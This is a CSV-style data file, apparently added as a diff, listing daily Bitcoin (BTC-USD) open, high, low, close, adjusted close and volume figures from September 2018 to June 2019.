+2018-09-18,6261.330078125,6393.39013671875,6238.25,6346.43994140625,6346.43994140625,348485895,BTC-USD +2018-09-19,6346.43994140625,6522.89990234375,6131.02001953125,6398.7998046875,6398.7998046875,452379323,BTC-USD +2018-09-20,6398.830078125,6551.93017578125,6361.330078125,6505.89990234375,6505.89990234375,301619960,BTC-USD +2018-09-21,6505.97021484375,6785.22021484375,6501.009765625,6762.06005859375,6762.06005859375,569642976,BTC-USD +2018-09-22,6762.06982421875,6834.490234375,6633.009765625,6716.60009765625,6716.60009765625,261159308,BTC-USD +2018-09-23,6716.60009765625,6768.56005859375,6663.89990234375,6702.7001953125,6702.7001953125,169080003,BTC-USD +2018-09-24,6702.72998046875,6717.60009765625,6557.81982421875,6583.52978515625,6583.52978515625,324660682,BTC-USD +2018-09-25,6583.52978515625,6583.5400390625,6333.2099609375,6437.740234375,6437.740234375,420279170,BTC-USD +2018-09-26,6437.740234375,6543.919921875,6383.16015625,6462.60009765625,6462.60009765625,264402806,BTC-USD +2018-09-27,6462.60009765625,6733.93994140625,6434.759765625,6686.1298828125,6686.1298828125,345096700,BTC-USD +2018-09-28,6686.1298828125,6806.10009765625,6545.41015625,6635.3798828125,6635.3798828125,497340510,BTC-USD +2018-09-29,6635.39990234375,6635.419921875,6474.22998046875,6603.75,6603.75,245055396,BTC-USD +2018-09-30,6603.75,6741.9599609375,6543.68017578125,6623.7099609375,6623.7099609375,174302164,BTC-USD +2018-10-01,6623.81982421875,6662.60009765625,6510.5400390625,6594.97998046875,6594.97998046875,256959931,BTC-USD +2018-10-02,6594.97998046875,6618.9501953125,6478.0400390625,6525.47021484375,6525.47021484375,267166277,BTC-USD +2018-10-03,6525.4599609375,6537.06982421875,6428.97998046875,6492.259765625,6492.259765625,306385346,BTC-USD +2018-10-04,6492.60986328125,6622.31982421875,6486.85986328125,6579.7900390625,6579.7900390625,277614018,BTC-USD +2018-10-05,6580.0,6683.5498046875,6546.97998046875,6632.8701171875,6632.8701171875,262562344,BTC-USD +2018-10-06,6632.8798828125,6637.080078125,6563.25,6589.93994140625,6589.93994140625,162722103,BTC-USD +2018-10-07,6589.93994140625,6622.490234375,6535.02001953125,6601.14990234375,6601.14990234375,179378859,BTC-USD +2018-10-08,6601.4599609375,6698.31005859375,6565.009765625,6650.06982421875,6650.06982421875,313507433,BTC-USD +2018-10-09,6650.06982421875,6657.0,6589.39013671875,6631.7900390625,6631.7900390625,213976678,BTC-USD +2018-10-10,6631.7900390625,6633.22021484375,6487.85986328125,6581.06982421875,6581.06982421875,323664963,BTC-USD +2018-10-11,6581.06982421875,6581.58984375,6171.9501953125,6209.47021484375,6209.47021484375,654924117,BTC-USD +2018-10-12,6209.47021484375,6296.56005859375,6173.85986328125,6250.85009765625,6250.85009765625,289840137,BTC-USD +2018-10-13,6252.10009765625,6280.72998046875,6238.919921875,6267.27001953125,6267.27001953125,137705035,BTC-USD +2018-10-14,6267.27001953125,6346.56005859375,6247.169921875,6277.72998046875,6277.72998046875,215422888,BTC-USD +2018-10-15,6277.72998046875,7234.830078125,6244.77001953125,6612.35986328125,6612.35986328125,1190524168,BTC-USD +2018-10-16,6612.68994140625,6724.91015625,6545.5400390625,6583.0498046875,6583.0498046875,324232509,BTC-USD +2018-10-17,6583.0498046875,6589.2001953125,6511.60009765625,6574.52001953125,6574.52001953125,220418636,BTC-USD +2018-10-18,6576.39990234375,6616.27001953125,6445.0498046875,6488.72021484375,6488.72021484375,331761115,BTC-USD +2018-10-19,6489.3701171875,6503.08984375,6449.35986328125,6469.27978515625,6469.27978515625,237855085,BTC-USD +2018-10-20,6469.27978515625,6645.2001953125,6395.4501953125,6490.56005859375,6490.56005859375,127185847,BTC-USD +2018-10-21,6490.60009765625,6557.39013671875,6474.47021484375,6509.8701171875,6509.8701171875,105283929,BTC-USD +2018-10-22,6509.8701171875,6531.22998046875,6460.3798828125,6483.22998046875,6483.22998046875,202766914,BTC-USD +2018-10-23,6484.31982421875,6496.2001953125,6438.990234375,6470.22021484375,6470.22021484375,220913293,BTC-USD +2018-10-24,6470.6298828125,6538.35009765625,6465.72998046875,6476.25,6476.25,222068131,BTC-USD +2018-10-25,6476.52001953125,6497.89990234375,6432.2998046875,6462.77001953125,6462.77001953125,231214963,BTC-USD +2018-10-26,6462.77001953125,6514.0,6441.81005859375,6457.2099609375,6457.2099609375,215447656,BTC-USD +2018-10-27,6457.2099609375,6479.0,6445.9501953125,6470.169921875,6470.169921875,124066466,BTC-USD +2018-10-28,6470.169921875,6483.240234375,6444.740234375,6470.740234375,6470.740234375,109118160,BTC-USD +2018-10-29,6470.740234375,6483.39013671875,6282.580078125,6313.91015625,6313.91015625,342463526,BTC-USD +2018-10-30,6314.3798828125,6340.68017578125,6286.2998046875,6309.10986328125,6309.10986328125,269592154,BTC-USD +2018-10-31,6309.10986328125,6391.25,6241.490234375,6342.60986328125,6342.60986328125,245357244,BTC-USD +2018-11-01,6342.81005859375,6402.58984375,6322.60009765625,6381.2998046875,6381.2998046875,199861220,BTC-USD +2018-11-02,6381.2998046875,6420.93017578125,6371.56982421875,6394.66015625,6394.66015625,179385606,BTC-USD +2018-11-03,6394.64990234375,6398.08984375,6336.9599609375,6376.31982421875,6376.31982421875,183565304,BTC-USD +2018-11-04,6376.5498046875,6498.16015625,6351.919921875,6467.0498046875,6467.0498046875,175805188,BTC-USD +2018-11-05,6467.0498046875,6475.7998046875,6406.68994140625,6433.740234375,6433.740234375,155758902,BTC-USD +2018-11-06,6433.52978515625,6482.81005859375,6412.56005859375,6479.72021484375,6479.72021484375,239808254,BTC-USD +2018-11-07,6479.72021484375,6562.7900390625,6476.58984375,6529.68017578125,6529.68017578125,360052788,BTC-USD +2018-11-08,6530.93994140625,6542.419921875,6438.27001953125,6446.06005859375,6446.06005859375,273205386,BTC-USD +2018-11-09,6446.06005859375,6457.97021484375,6352.4501953125,6377.990234375,6377.990234375,237893036,BTC-USD +2018-11-10,6377.990234375,6419.919921875,6376.169921875,6396.3701171875,6396.3701171875,94313328,BTC-USD +2018-11-11,6396.39013671875,6414.18017578125,6326.3798828125,6408.18017578125,6408.18017578125,130156001,BTC-USD +2018-11-12,6408.18017578125,6435.41015625,6350.8701171875,6375.080078125,6375.080078125,181575610,BTC-USD +2018-11-13,6375.080078125,6389.43017578125,6315.580078125,6339.169921875,6339.169921875,227689745,BTC-USD +2018-11-14,6339.169921875,6375.7001953125,5469.93017578125,5741.47021484375,5741.47021484375,1045469380,BTC-USD +2018-11-15,5740.509765625,5767.06005859375,5300.75,5647.5,5647.5,820864013,BTC-USD +2018-11-16,5647.5,5676.5400390625,5487.8701171875,5586.27001953125,5586.27001953125,397196182,BTC-USD +2018-11-17,5586.97021484375,5602.009765625,5524.7001953125,5568.93994140625,5568.93994140625,164182152,BTC-USD +2018-11-18,5567.9501953125,5701.35009765625,5567.9501953125,5615.259765625,5615.259765625,233409182,BTC-USD +2018-11-19,5615.259765625,5615.97998046875,4757.009765625,4809.6201171875,4809.6201171875,1072037780,BTC-USD +2018-11-20,4809.6201171875,4953.56005859375,4168.25,4441.81005859375,4441.81005859375,1433400842,BTC-USD +2018-11-21,4441.81005859375,4689.5498046875,4315.580078125,4593.0400390625,4593.0400390625,686284917,BTC-USD +2018-11-22,4593.0400390625,4640.72021484375,4297.2099609375,4320.68017578125,4320.68017578125,376852837,BTC-USD +2018-11-23,4320.68017578125,4419.47998046875,4157.18994140625,4343.419921875,4343.419921875,521825987,BTC-USD +2018-11-24,4343.419921875,4432.0,3741.199951171875,3854.110107421875,3854.110107421875,503028289,BTC-USD +2018-11-25,3854.110107421875,4165.93017578125,3550.0400390625,4004.14990234375,4004.14990234375,819869496,BTC-USD +2018-11-26,4004.4599609375,4124.7001953125,3598.81005859375,3784.590087890625,3784.590087890625,715341714,BTC-USD +2018-11-27,3784.77001953125,3878.89990234375,3613.110107421875,3822.989990234375,3822.989990234375,555212127,BTC-USD +2018-11-28,3822.989990234375,4398.56982421875,3822.93994140625,4263.5498046875,4263.5498046875,726808596,BTC-USD +2018-11-29,4263.52001953125,4444.39013671875,4130.68017578125,4286.68994140625,4286.68994140625,479575430,BTC-USD +2018-11-30,4286.85009765625,4331.06982421875,3916.300048828125,4009.669921875,4009.669921875,497762735,BTC-USD +2018-12-01,4009.669921875,4309.64990234375,3942.6201171875,4197.4599609375,4197.4599609375,280927570,BTC-USD +2018-12-02,4197.7001953125,4318.7900390625,4077.669921875,4143.85986328125,4143.85986328125,262154694,BTC-USD +2018-12-03,4143.85986328125,4159.009765625,3795.179931640625,3871.409912109375,3871.409912109375,423985399,BTC-USD +2018-12-04,3871.409912109375,4082.679931640625,3770.919921875,3948.43994140625,3948.43994140625,373361232,BTC-USD +2018-12-05,3948.43994140625,3961.800048828125,3719.18994140625,3737.530029296875,3737.530029296875,320944415,BTC-USD +2018-12-06,3737.530029296875,3883.429931640625,3467.919921875,3485.179931640625,3485.179931640625,590923562,BTC-USD +2018-12-07,3485.179931640625,3576.110107421875,3248.0,3420.570068359375,3420.570068359375,699930576,BTC-USD +2018-12-08,3420.570068359375,3602.489990234375,3295.2099609375,3461.070068359375,3461.070068359375,357548590,BTC-USD +2018-12-09,3461.070068359375,3718.580078125,3436.5,3592.840087890625,3592.840087890625,295321498,BTC-USD +2018-12-10,3592.840087890625,3645.489990234375,3416.77001953125,3467.159912109375,3467.159912109375,287119758,BTC-USD +2018-12-11,3467.159912109375,3483.580078125,3348.97998046875,3401.02001953125,3401.02001953125,230671778,BTC-USD +2018-12-12,3401.02001953125,3545.3701171875,3380.47998046875,3485.590087890625,3485.590087890625,257293632,BTC-USD +2018-12-13,3485.590087890625,3493.760009765625,3272.81005859375,3305.110107421875,3305.110107421875,286236674,BTC-USD +2018-12-14,3305.110107421875,3333.239990234375,3180.969970703125,3235.47998046875,3235.47998046875,290985461,BTC-USD +2018-12-15,3235.47998046875,3271.760009765625,3169.530029296875,3232.510009765625,3232.510009765625,165378769,BTC-USD +2018-12-16,3232.510009765625,3319.830078125,3227.39990234375,3255.3701171875,3255.3701171875,148182655,BTC-USD +2018-12-17,3255.3701171875,3639.64990234375,3239.06005859375,3548.18994140625,3548.18994140625,412454521,BTC-USD +2018-12-18,3548.18994140625,3727.989990234375,3481.4599609375,3715.85009765625,3715.85009765625,327807644,BTC-USD +2018-12-19,3715.85009765625,3969.699951171875,3693.570068359375,3736.5400390625,3736.5400390625,620695447,BTC-USD +2018-12-20,3736.5400390625,4225.52001953125,3712.820068359375,4137.66015625,4137.66015625,724855205,BTC-USD +2018-12-21,4137.66015625,4247.7099609375,3831.199951171875,3898.81005859375,3898.81005859375,516656937,BTC-USD +2018-12-22,3898.81005859375,4060.340087890625,3849.22998046875,4045.239990234375,4045.239990234375,250085915,BTC-USD +2018-12-23,4045.239990234375,4117.64990234375,3972.389892578125,4007.6298828125,4007.6298828125,235997621,BTC-USD +2018-12-24,4007.6298828125,4303.3701171875,4006.60009765625,4081.949951171875,4081.949951171875,459290147,BTC-USD +2018-12-25,4081.949951171875,4094.610107421875,3734.85009765625,3834.72998046875,3834.72998046875,367200910,BTC-USD +2018-12-26,3834.72998046875,3923.929931640625,3746.860107421875,3848.780029296875,3848.780029296875,263439573,BTC-USD +2018-12-27,3848.780029296875,3888.919921875,3622.389892578125,3646.090087890625,3646.090087890625,305729129,BTC-USD +2018-12-28,3646.090087890625,4007.7099609375,3628.429931640625,3947.860107421875,3947.860107421875,353705007,BTC-USD +2018-12-29,3947.860107421875,4004.139892578125,3774.3798828125,3797.06005859375,3797.06005859375,214891355,BTC-USD +2018-12-30,3797.06005859375,3925.179931640625,3760.800048828125,3896.2099609375,3896.2099609375,191958416,BTC-USD +2018-12-31,3896.2099609375,3904.280029296875,3701.47998046875,3747.389892578125,3747.389892578125,206190463,BTC-USD +2019-01-01,3747.389892578125,3938.75,3696.93994140625,3880.14990234375,3880.14990234375,170598307,BTC-USD +2019-01-02,3880.14990234375,3989.590087890625,3826.2900390625,3961.010009765625,3961.010009765625,210854603,BTC-USD +2019-01-03,3961.010009765625,3965.52001953125,3778.760009765625,3835.860107421875,3835.860107421875,176488072,BTC-USD +2019-01-04,3835.860107421875,3901.64990234375,3783.8798828125,3874.06005859375,3874.06005859375,170507611,BTC-USD +2019-01-05,3874.06005859375,3926.919921875,3841.1298828125,3855.389892578125,3855.389892578125,139438510,BTC-USD +2019-01-06,3855.389892578125,4145.16015625,3829.090087890625,4102.85009765625,4102.85009765625,236298043,BTC-USD +2019-01-07,4102.85009765625,4132.6201171875,4001.35009765625,4050.39990234375,4050.39990234375,209289368,BTC-USD +2019-01-08,4050.39990234375,4156.16015625,3990.340087890625,4040.75,4040.75,268091045,BTC-USD +2019-01-09,4040.75,4092.909912109375,4013.0,4048.340087890625,4048.340087890625,223639028,BTC-USD +2019-01-10,4048.340087890625,4085.090087890625,3631.070068359375,3668.14990234375,3668.14990234375,412522198,BTC-USD +2019-01-11,3668.14990234375,3729.68994140625,3616.409912109375,3669.199951171875,3669.199951171875,231465488,BTC-USD +2019-01-12,3669.199951171875,3692.1201171875,3611.199951171875,3664.3798828125,3664.3798828125,103912541,BTC-USD +2019-01-13,3664.3798828125,3675.199951171875,3528.239990234375,3551.239990234375,3551.239990234375,164125048,BTC-USD +2019-01-14,3551.239990234375,3748.8798828125,3544.530029296875,3703.89990234375,3703.89990234375,204793029,BTC-USD +2019-01-15,3703.89990234375,3724.300048828125,3590.489990234375,3621.239990234375,3621.239990234375,198582447,BTC-USD +2019-01-16,3621.239990234375,3704.3701171875,3611.3798828125,3643.989990234375,3643.989990234375,196211595,BTC-USD +2019-01-17,3643.989990234375,3695.280029296875,3586.919921875,3685.300048828125,3685.300048828125,168287506,BTC-USD +2019-01-18,3685.300048828125,3685.389892578125,3620.43994140625,3648.050048828125,3648.050048828125,118317804,BTC-USD +2019-01-19,3648.050048828125,3799.6201171875,3643.010009765625,3729.780029296875,3729.780029296875,143238228,BTC-USD +2019-01-20,3729.780029296875,3754.64990234375,3529.25,3567.72998046875,3567.72998046875,177628515,BTC-USD +2019-01-21,3567.72998046875,3599.830078125,3535.18994140625,3571.919921875,3571.919921875,129000924,BTC-USD +2019-01-22,3571.919921875,3635.68994140625,3473.77001953125,3602.0400390625,3602.0400390625,191355241,BTC-USD +2019-01-23,3602.0400390625,3631.14990234375,3543.9599609375,3572.050048828125,3572.050048828125,135864247,BTC-USD +2019-01-24,3572.050048828125,3616.330078125,3546.5,3598.52001953125,3598.52001953125,113155246,BTC-USD +2019-01-25,3598.52001953125,3607.429931640625,3539.409912109375,3582.889892578125,3582.889892578125,116674680,BTC-USD +2019-01-26,3582.889892578125,3676.39990234375,3578.6201171875,3596.5,3596.5,105927045,BTC-USD +2019-01-27,3596.5,3605.989990234375,3511.2900390625,3565.080078125,3565.080078125,93766117,BTC-USD +2019-01-28,3565.080078125,3567.56005859375,3402.56005859375,3453.419921875,3453.419921875,206309738,BTC-USD +2019-01-29,3453.419921875,3463.199951171875,3369.18994140625,3418.25,3418.25,158106687,BTC-USD +2019-01-30,3418.25,3488.909912109375,3395.93994140625,3467.2099609375,3467.2099609375,146422486,BTC-USD +2019-01-31,3467.2099609375,3499.780029296875,3422.830078125,3434.1298828125,3434.1298828125,128773893,BTC-USD +2019-02-01,3434.1298828125,3478.550048828125,3398.9599609375,3461.6298828125,3461.6298828125,144476056,BTC-USD +2019-02-02,3461.6298828125,3519.139892578125,3441.2099609375,3508.679931640625,3508.679931640625,94144187,BTC-USD +2019-02-03,3508.679931640625,3514.429931640625,3424.419921875,3449.6201171875,3449.6201171875,79591219,BTC-USD +2019-02-04,3449.6201171875,3470.800048828125,3429.2099609375,3431.239990234375,3431.239990234375,82280894,BTC-USD +2019-02-05,3431.239990234375,3447.8798828125,3415.669921875,3447.659912109375,3447.659912109375,84042727,BTC-USD +2019-02-06,3447.659912109375,3459.330078125,3362.239990234375,3394.889892578125,3394.889892578125,150408587,BTC-USD +2019-02-07,3394.889892578125,3406.5400390625,3369.10009765625,3375.330078125,3375.330078125,97390901,BTC-USD +2019-02-08,3375.330078125,3735.10009765625,3363.320068359375,3660.030029296875,3660.030029296875,317023029,BTC-USD +2019-02-09,3660.030029296875,3673.7099609375,3616.110107421875,3652.260009765625,3652.260009765625,94200588,BTC-USD +2019-02-10,3652.260009765625,3689.320068359375,3611.4599609375,3685.139892578125,3685.139892578125,109365095,BTC-USD +2019-02-11,3685.139892578125,3688.590087890625,3608.179931640625,3611.340087890625,3611.340087890625,146354074,BTC-USD +2019-02-12,3611.340087890625,3648.669921875,3574.219970703125,3617.409912109375,3617.409912109375,164816438,BTC-USD +2019-02-13,3617.409912109375,3655.889892578125,3590.010009765625,3605.8701171875,3605.8701171875,146822348,BTC-USD +2019-02-14,3605.8701171875,3619.699951171875,3567.389892578125,3588.719970703125,3588.719970703125,117804856,BTC-USD +2019-02-15,3588.719970703125,3640.64990234375,3575.949951171875,3593.489990234375,3593.489990234375,130398989,BTC-USD +2019-02-16,3593.489990234375,3639.75,3592.0400390625,3617.239990234375,3617.239990234375,86973822,BTC-USD +2019-02-17,3617.239990234375,3706.169921875,3608.179931640625,3670.919921875,3670.919921875,134218331,BTC-USD +2019-02-18,3670.919921875,3952.43994140625,3661.419921875,3912.570068359375,3912.570068359375,376203280,BTC-USD +2019-02-19,3912.570068359375,4010.909912109375,3882.52001953125,3924.239990234375,3924.239990234375,292137057,BTC-USD +2019-02-20,3924.239990234375,3992.31005859375,3898.909912109375,3974.050048828125,3974.050048828125,209282292,BTC-USD +2019-02-21,3974.050048828125,4026.5400390625,3900.280029296875,3937.0400390625,3937.0400390625,187314178,BTC-USD +2019-02-22,3937.0400390625,3996.14990234375,3917.659912109375,3983.530029296875,3983.530029296875,170405341,BTC-USD +2019-02-23,3983.530029296875,4192.39013671875,3948.47998046875,4149.08984375,4149.08984375,231174632,BTC-USD +2019-02-24,4149.08984375,4221.6201171875,3755.3798828125,3771.6201171875,3771.6201171875,319071544,BTC-USD +2019-02-25,3771.6201171875,3885.06005859375,3771.530029296875,3845.510009765625,3845.510009765625,185036583,BTC-USD +2019-02-26,3845.510009765625,3852.659912109375,3791.89990234375,3817.8798828125,3817.8798828125,126868886,BTC-USD +2019-02-27,3817.8798828125,3851.840087890625,3699.530029296875,3830.719970703125,3830.719970703125,175069054,BTC-USD +2019-02-28,3830.719970703125,3909.860107421875,3798.0,3823.3701171875,3823.3701171875,170646670,BTC-USD +2019-03-01,3823.3701171875,3866.1201171875,3822.669921875,3831.47998046875,3831.47998046875,101774924,BTC-USD +2019-03-02,3831.47998046875,3846.3798828125,3790.739990234375,3842.93994140625,3842.93994140625,73894412,BTC-USD +2019-03-03,3842.93994140625,3853.280029296875,3788.0400390625,3812.31005859375,3812.31005859375,64065044,BTC-USD +2019-03-04,3812.31005859375,3831.010009765625,3705.139892578125,3731.280029296875,3731.280029296875,147245676,BTC-USD +2019-03-05,3731.280029296875,3893.52001953125,3720.489990234375,3874.179931640625,3874.179931640625,165062256,BTC-USD +2019-03-06,3874.179931640625,3916.2900390625,3839.389892578125,3874.97998046875,3874.97998046875,129520549,BTC-USD +2019-03-07,3874.97998046875,3911.760009765625,3853.199951171875,3882.610107421875,3882.610107421875,146201726,BTC-USD +2019-03-08,3882.610107421875,3932.02001953125,3804.97998046875,3868.02001953125,3868.02001953125,153405087,BTC-USD +2019-03-09,3868.02001953125,3975.25,3860.659912109375,3947.739990234375,3947.739990234375,108370246,BTC-USD +2019-03-10,3947.739990234375,3948.2099609375,3897.820068359375,3929.840087890625,3929.840087890625,68252920,BTC-USD +2019-03-11,3929.840087890625,3941.989990234375,3849.449951171875,3874.889892578125,3874.889892578125,126998648,BTC-USD +2019-03-12,3874.889892578125,3904.699951171875,3827.22998046875,3888.570068359375,3888.570068359375,130291591,BTC-USD +2019-03-13,3888.570068359375,3898.25,3853.06005859375,3878.43994140625,3878.43994140625,108286926,BTC-USD +2019-03-14,3878.43994140625,3922.2099609375,3825.030029296875,3881.43994140625,3881.43994140625,133931876,BTC-USD +2019-03-15,3881.43994140625,3935.10009765625,3876.169921875,3927.080078125,3927.080078125,125588541,BTC-USD +2019-03-16,3927.080078125,4069.110107421875,3924.97998046875,4027.010009765625,4027.010009765625,166216280,BTC-USD +2019-03-17,4027.010009765625,4030.3798828125,3970.969970703125,3998.0,3998.0,68146133,BTC-USD +2019-03-18,3998.0,4038.989990234375,3964.31005859375,3988.85009765625,3988.85009765625,109428478,BTC-USD +2019-03-19,3988.85009765625,4032.0400390625,3972.469970703125,4024.139892578125,4024.139892578125,118919147,BTC-USD +2019-03-20,4024.139892578125,4064.949951171875,3995.489990234375,4056.75,4056.75,148490744,BTC-USD +2019-03-21,4056.75,4082.2900390625,3953.530029296875,3996.929931640625,3996.929931640625,178077036,BTC-USD +2019-03-22,3996.929931640625,4018.2099609375,3984.0,4000.840087890625,4000.840087890625,90726555,BTC-USD +2019-03-23,4000.840087890625,4019.360107421875,3982.469970703125,4007.2099609375,4007.2099609375,74094017,BTC-USD +2019-03-24,4007.2099609375,4010.300048828125,3970.35009765625,3994.110107421875,3994.110107421875,64375076,BTC-USD +2019-03-25,3994.110107421875,4005.2900390625,3887.679931640625,3924.550048828125,3924.550048828125,136398998,BTC-USD +2019-03-26,3924.550048828125,3943.199951171875,3902.52001953125,3942.219970703125,3942.219970703125,93805733,BTC-USD +2019-03-27,3942.219970703125,4054.320068359375,3932.7900390625,4045.97998046875,4045.97998046875,149005782,BTC-USD +2019-03-28,4045.97998046875,4046.43994140625,4014.68994140625,4036.449951171875,4036.449951171875,102296341,BTC-USD +2019-03-29,4036.449951171875,4122.89013671875,4031.219970703125,4111.3798828125,4111.3798828125,170915132,BTC-USD +2019-03-30,4111.3798828125,4146.8798828125,4066.8701171875,4118.1298828125,4118.1298828125,102400533,BTC-USD +2019-03-31,4118.1298828125,4129.43017578125,4098.7900390625,4112.68994140625,4112.68994140625,56727425,BTC-USD +2019-04-01,4112.68994140625,4164.330078125,4082.199951171875,4151.31982421875,4151.31982421875,152826759,BTC-USD +2019-04-02,4151.31982421875,5104.419921875,4147.7001953125,4906.93017578125,4906.93017578125,814748125,BTC-USD +2019-04-03,4906.93017578125,5335.7001953125,4831.58984375,4976.58984375,4976.58984375,809158339,BTC-USD +2019-04-04,4976.58984375,5071.97998046875,4799.77001953125,4913.35986328125,4913.35986328125,370109007,BTC-USD +2019-04-05,4913.35986328125,5074.1298828125,4897.60986328125,5047.22998046875,5047.22998046875,280722247,BTC-USD +2019-04-06,5047.22998046875,5240.18994140625,4938.0,5057.25,5057.25,275839573,BTC-USD +2019-04-07,5057.25,5266.0400390625,5044.27978515625,5201.16015625,5201.16015625,243329883,BTC-USD +2019-04-08,5201.16015625,5347.8798828125,5141.22998046875,5294.08984375,5294.08984375,366577921,BTC-USD +2019-04-09,5294.08984375,5294.08984375,5159.1298828125,5201.2998046875,5201.2998046875,253577595,BTC-USD +2019-04-10,5201.2998046875,5460.93994140625,5178.60986328125,5318.60009765625,5318.60009765625,349643837,BTC-USD +2019-04-11,5318.60009765625,5343.66015625,4987.64990234375,5048.56005859375,5048.56005859375,356811374,BTC-USD +2019-04-12,5048.56005859375,5118.60986328125,4927.6201171875,5081.5,5081.5,220667543,BTC-USD +2019-04-13,5081.5,5128.9599609375,5056.18994140625,5080.66015625,5080.66015625,118956124,BTC-USD +2019-04-14,5080.66015625,5186.81982421875,5031.2001953125,5165.58984375,5165.58984375,108148233,BTC-USD +2019-04-15,5165.58984375,5195.31005859375,4969.31005859375,5037.27001953125,5037.27001953125,205867031,BTC-USD +2019-04-16,5037.27001953125,5232.02978515625,5029.16015625,5212.81005859375,5212.81005859375,207311534,BTC-USD +2019-04-17,5212.81005859375,5270.759765625,5190.81005859375,5236.259765625,5236.259765625,194699629,BTC-USD +2019-04-18,5236.259765625,5317.77978515625,5232.990234375,5289.75,5289.75,187312150,BTC-USD +2019-04-19,5289.75,5353.009765625,5212.18017578125,5295.52978515625,5295.52978515625,158699049,BTC-USD +2019-04-20,5295.52978515625,5366.60009765625,5274.4501953125,5326.18017578125,5326.18017578125,123577001,BTC-USD +2019-04-21,5326.18017578125,5348.58984375,5232.77001953125,5305.740234375,5305.740234375,134681237,BTC-USD +2019-04-22,5305.740234375,5444.759765625,5265.72998046875,5394.669921875,5394.669921875,242498187,BTC-USD +2019-04-23,5394.669921875,5626.830078125,5371.31005859375,5539.10009765625,5539.10009765625,368556751,BTC-USD +2019-04-24,5539.10009765625,5633.0,5390.97998046875,5454.580078125,5454.580078125,339093001,BTC-USD +2019-04-25,5454.580078125,5521.60986328125,5031.68994140625,5162.669921875,5162.669921875,374798664,BTC-USD +2019-04-26,5162.669921875,5361.93994140625,5104.18017578125,5234.08984375,5234.08984375,366773360,BTC-USD +2019-04-27,5234.08984375,5282.97021484375,5192.4501953125,5229.47998046875,5229.47998046875,113430273,BTC-USD +2019-04-28,5233.47021484375,5313.7001953125,5218.419921875,5272.4501953125,5272.4501953125,133564683,BTC-USD +2019-04-29,5272.4501953125,5299.509765625,5162.81005859375,5237.9599609375,5237.9599609375,167206787,BTC-USD +2019-04-30,5237.9599609375,5372.22998046875,5224.64013671875,5350.64013671875,5350.64013671875,172540196,BTC-USD +2019-05-01,5350.64013671875,5417.169921875,5346.7001953125,5389.5400390625,5389.5400390625,147345369,BTC-USD +2019-05-02,5389.5400390625,5531.14990234375,5387.2900390625,5500.72021484375,5500.72021484375,192256639,BTC-USD +2019-05-03,5500.72021484375,5891.89990234375,5484.77978515625,5753.3798828125,5753.3798828125,432335283,BTC-USD +2019-05-04,5753.3798828125,5901.35986328125,5596.14990234375,5840.080078125,5840.080078125,263390273,BTC-USD +2019-05-05,5840.080078125,5849.5,5709.740234375,5794.14013671875,5794.14013671875,147662500,BTC-USD +2019-05-06,5794.14013671875,5823.669921875,5644.14990234375,5748.169921875,5748.169921875,200316185,BTC-USD +2019-05-07,5748.169921875,6031.5400390625,5748.169921875,5819.56982421875,5819.56982421875,353043890,BTC-USD +2019-05-08,5819.56982421875,6032.25,5753.080078125,5998.7099609375,5998.7099609375,241917027,BTC-USD +2019-05-09,5998.7099609375,6194.91015625,5988.64990234375,6171.9599609375,6171.9599609375,310336580,BTC-USD +2019-05-10,6171.9599609375,6444.56982421875,6133.2099609375,6358.2900390625,6358.2900390625,430403405,BTC-USD +2019-05-11,6358.2900390625,7394.93994140625,6357.02001953125,7191.35986328125,7191.35986328125,933141315,BTC-USD +2019-05-12,7191.35986328125,7541.60986328125,6793.2099609375,6977.6298828125,6977.6298828125,1023203366,BTC-USD +2019-05-13,6977.6298828125,8127.75,6873.419921875,7806.35986328125,7806.35986328125,1140302646,BTC-USD +2019-05-14,7806.35986328125,8297.01953125,7631.33984375,7980.1298828125,7980.1298828125,976094121,BTC-USD +2019-05-15,7980.1298828125,8263.2900390625,7849.919921875,8183.830078125,8183.830078125,694202804,BTC-USD +2019-05-16,8183.830078125,8352.25,7679.0498046875,7874.10986328125,7874.10986328125,762104107,BTC-USD +2019-05-17,7874.10986328125,7930.97998046875,6668.669921875,7371.9599609375,7371.9599609375,1023961962,BTC-USD +2019-05-18,7371.9599609375,7491.669921875,7213.72021484375,7266.080078125,7266.080078125,303317486,BTC-USD +2019-05-19,7266.080078125,8281.66015625,7257.259765625,8193.1396484375,8193.1396484375,723011166,BTC-USD +2019-05-20,8193.1396484375,8193.1396484375,7591.85009765625,7998.2900390625,7998.2900390625,637617163,BTC-USD +2019-05-21,7998.2900390625,8102.31982421875,7807.77001953125,7947.93017578125,7947.93017578125,357803946,BTC-USD +2019-05-22,7947.93017578125,8033.759765625,7533.66015625,7626.89013671875,7626.89013671875,424501866,BTC-USD +2019-05-23,7626.89013671875,7971.259765625,7478.740234375,7876.5,7876.5,386766321,BTC-USD +2019-05-24,7876.5,8165.4501953125,7801.56982421875,7996.39990234375,7996.39990234375,413162746,BTC-USD +2019-05-25,7996.39990234375,8140.81982421875,7948.68017578125,8059.1298828125,8059.1298828125,179206342,BTC-USD +2019-05-26,8059.1298828125,8779.0,7894.52978515625,8726.23046875,8726.23046875,483663699,BTC-USD +2019-05-27,8726.23046875,8931.5302734375,8668.4599609375,8785.169921875,8785.169921875,507164714,BTC-USD +2019-05-28,8785.169921875,8818.7099609375,8562.2001953125,8718.849609375,8718.849609375,360752199,BTC-USD +2019-05-29,8718.849609375,8760.48046875,8444.099609375,8664.5595703125,8664.5595703125,380343928,BTC-USD +2019-05-30,8664.5595703125,9065.8896484375,8027.2099609375,8276.25,8276.25,815525590,BTC-USD +2019-05-31,8276.25,8570.7802734375,8116.0,8550.669921875,8550.669921875,502056527,BTC-USD +2019-06-01,8550.669921875,8619.2099609375,8459.650390625,8555.8701171875,8555.8701171875,229736992,BTC-USD +2019-06-02,8555.8701171875,8819.900390625,8547.48046875,8737.91015625,8737.91015625,221708083,BTC-USD +2019-06-03,8737.91015625,8740.240234375,8073.18017578125,8114.490234375,8114.490234375,534972187,BTC-USD +2019-06-04,8114.490234375,8114.490234375,7463.93994140625,7677.47021484375,7677.47021484375,809220381,BTC-USD +2019-06-05,7677.47021484375,7917.14013671875,7591.8798828125,7791.2900390625,7791.2900390625,387021977,BTC-USD +2019-06-06,7791.2900390625,7872.10009765625,7467.52001953125,7807.35986328125,7807.35986328125,342084400,BTC-USD +2019-06-07,7807.35986328125,8127.6298828125,7767.3701171875,8002.6298828125,8002.6298828125,407241297,BTC-USD +2019-06-08,8002.6298828125,8058.91015625,7796.4599609375,7933.77978515625,7933.77978515625,186055499,BTC-USD +2019-06-09,7933.77978515625,7964.75,7535.89990234375,7643.43994140625,7643.43994140625,234551796,BTC-USD +2019-06-10,7643.43994140625,8061.5,7533.52978515625,8021.0,8021.0,339520552,BTC-USD 